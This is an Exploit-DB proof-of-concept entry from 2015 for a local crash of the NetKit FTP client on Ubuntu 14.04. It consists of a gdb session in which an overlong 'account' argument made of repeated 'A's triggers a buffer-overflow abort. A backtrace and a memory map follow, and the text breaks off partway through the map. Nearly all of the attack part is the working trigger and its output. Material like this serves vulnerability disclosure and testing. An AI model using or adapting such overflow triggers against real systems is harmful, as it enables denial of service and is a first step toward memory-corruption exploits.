Exploit-DB #37777
Description: NetKit FTP Client (Ubuntu 14.04) - Crash/Denial of Service (PoC)
Type: dos
Platform: linux
Date: 2015-08-15
Author: TUNISIAN CYBER

Exploit:
###
#[+] Author: TUNISIAN CYBER
#[+] Exploit Title: Ubuntu 14.04 NetKit FTP Client Crash/DoS POC
#[+] Date: 15-08-2015
#[+] Type: Local Exploits
#[+] Tested on: Ubuntu 14.04
                Works with other distros (11.04:https://www.exploit-db.com/exploits/17806/)
#[+] Twitter: @TCYB3R
##

cyb3rus@ubuntu:~$ gdp ftp
No command 'gdp' found, but there are 17 similar ones
gdp: command not found
cyb3rus@ubuntu:~$ gdb ftp
GNU gdb (Ubuntu 7.7.1-0ubuntu5~14.04.2) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ftp...(no debugging symbols found)...done.
(gdb) run ftp-server.demo.solarwinds.com
Starting program: /usr/bin/ftp ftp-server.demo.solarwinds.com
Connected to ftp-server.demo.solarwinds.com.
220 Serv-U FTP Server v15.1 ready...
Name (ftp-server.demo.solarwinds.com:cyb3rus): demo
331 User name okay, need password.
Password:
230 User logged in, proceed.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> account AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
*** buffer overflow detected ***: /usr/bin/ftp terminated
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x7338f)[0x7ffff784238f]
/lib/x86_64-linux-gnu/libc.so.6(__fortify_fail+0x5c)[0x7ffff78d9c9c]
/lib/x86_64-linux-gnu/libc.so.6(+0x109b60)[0x7ffff78d8b60]
/lib/x86_64-linux-gnu/libc.so.6(__strncat_chk+0x13c)[0x7ffff78d7f9c]
/usr/bin/ftp[0x407a08]
/usr/bin/ftp[0x402cd0]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf5)[0x7ffff77f0ec5]
/usr/bin/ftp[0x402f49]
======= Memory map: ========
[PII_REDACTED] r-xp 00000000 08:01 656161                             /usr/bin/netkit-ftp
[PII_REDACTED] r--p 00012000 08:01 656161                             /usr/bin/netkit-ftp
[PII_REDACTED] rw-p 00013000 08:01 656161                             /usr/bin/netkit-ftp
[PII_REDACTED] rw-p 00000000 00:00 0                                  [heap]
7ffff5e4e000-7ffff5e64000 r-xp 00000000 08:01 5771565                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7ffff5e64000-7ffff6063000 ---p 00016000 08:01 5771565                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7ffff6063000-7ffff6064000 rw-p 00015000 08:01 5771565                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7ffff6064000-7ffff6746000 r--p 00000000 08:01 662545                     /usr/lib/locale/locale-archive
7ffff6746000-7ffff675d000 r-xp 00000000 08:01 5771664                    /lib/x86_64-linux-gnu/libresolv-2.19.so
7ffff675d000-7ffff695d000 ---p 00017000 08:01 5771664                    /lib/x86_64-linux-gnu/libresolv-2.19.so
7ffff695d000-7ffff695e000 r--p 00017000 08:01 5771664                    /lib/x86_64-linux-gnu/libresolv-2.19.so
7ffff695e000-7ffff695f000 rw-p 00018000 08:01 5771664                    /lib/x86_64-linux-gnu/libresolv-2.19.so
7ffff695f000-7ffff6961000 rw-p 00000000 00:00 0 
7ffff6961000-7ffff6966000 r-xp 00000000 08:01 5771611                    /lib/x86_64-linux-gnu/libnss_dns-2.19.so
7ffff6966000-7ffff6b65000 ---p 00005000 08:01 5771611                    /lib/x86_64-linux-gnu/libnss_dns-2.19.so
7ffff6b65000-7ffff6b66000 r--p 00004000 08:01 5771611                    /lib/x86_64-linux-gnu/libnss_dns-2.19.so
7ffff6b66000-7ffff6b67000 rw-p 00005000 08:01 5771611                    /lib/x86_64-linux-gnu/libnss_dns-2.19.so
7ffff6b67000-7ffff6b69000 r-xp 00000000 08:01 5771619                    /lib/x86_64-linux-gnu/libnss_mdns4_minimal.so.2
7ffff6b69000-7ffff6d68000 ---p 00002000 08:01 5771619                    /lib/x86_64-linux-gnu/libnss_mdns4_minimal.so.2
7ffff6d68000-7ffff6d69000 r--p 00001000 08:01 5771619                    /lib/x86_64-linux-gnu/libnss_mdns4_minimal.so.2
7ffff6d69000-7ffff6d6a000 rw-p 00002000 08:01 5771619                    /lib/x86_64-linux-gnu/libnss_mdns4_minimal.so.2
7ffff6d6a000-7ffff6d75000 r-xp 00000000 08:01 5771623                    /lib/x86_64-linux-gnu/libnss_nis-2.19.so
7ffff6d75000-7ffff6f74000 ---p 0000b000 08:01 5771623                    /lib/x86_64-linux-gnu/libnss_nis-2.19.so
7ffff6f74000-7ffff6f75000 r--p 0000a000 08:01 5771623                    /lib/x86_64-linux-gnu/libnss_nis-2.19.so
7ffff6f75000-7ffff6f76000 rw-p 0000b000 08:01 5771623                    /lib/x86_64-linux-gnu/libnss_nis-2.19.so
7ffff6f76000-7ffff6f8d000 r-xp 00000000 08:01 5771607                    /lib/x86_64-linux-gnu/libnsl-2.19.so
7ffff6f8d000-7ffff718c000 ---p 00017000 08:01 5771607                    /lib/x86_64-linux-gnu/libnsl-2.19.so
7ffff718c000-7ffff718d000 r--p 00016000 08:01 5771607                    /lib/x86_64-linux-gnu/libnsl-2.19.so
7ffff718d000-7ffff718e000 rw-p 00017000 08:01 5771607                    /lib/x86_64-linux-gnu/libnsl-2.19.so
7ffff718e000-7ffff7190000 rw-p 00000000 00:00 0 
7ffff7190000-7ffff7199000 r-xp 00000000 08:01 5771609                    /lib/x86_64-linux-gnu/libnss_compat-2.19.so
7ffff7199000-7ffff7398000 ---p 00009000 08:01 5771609                    /lib/x86_64-linux-gnu/libnss_compat-2.19.so
7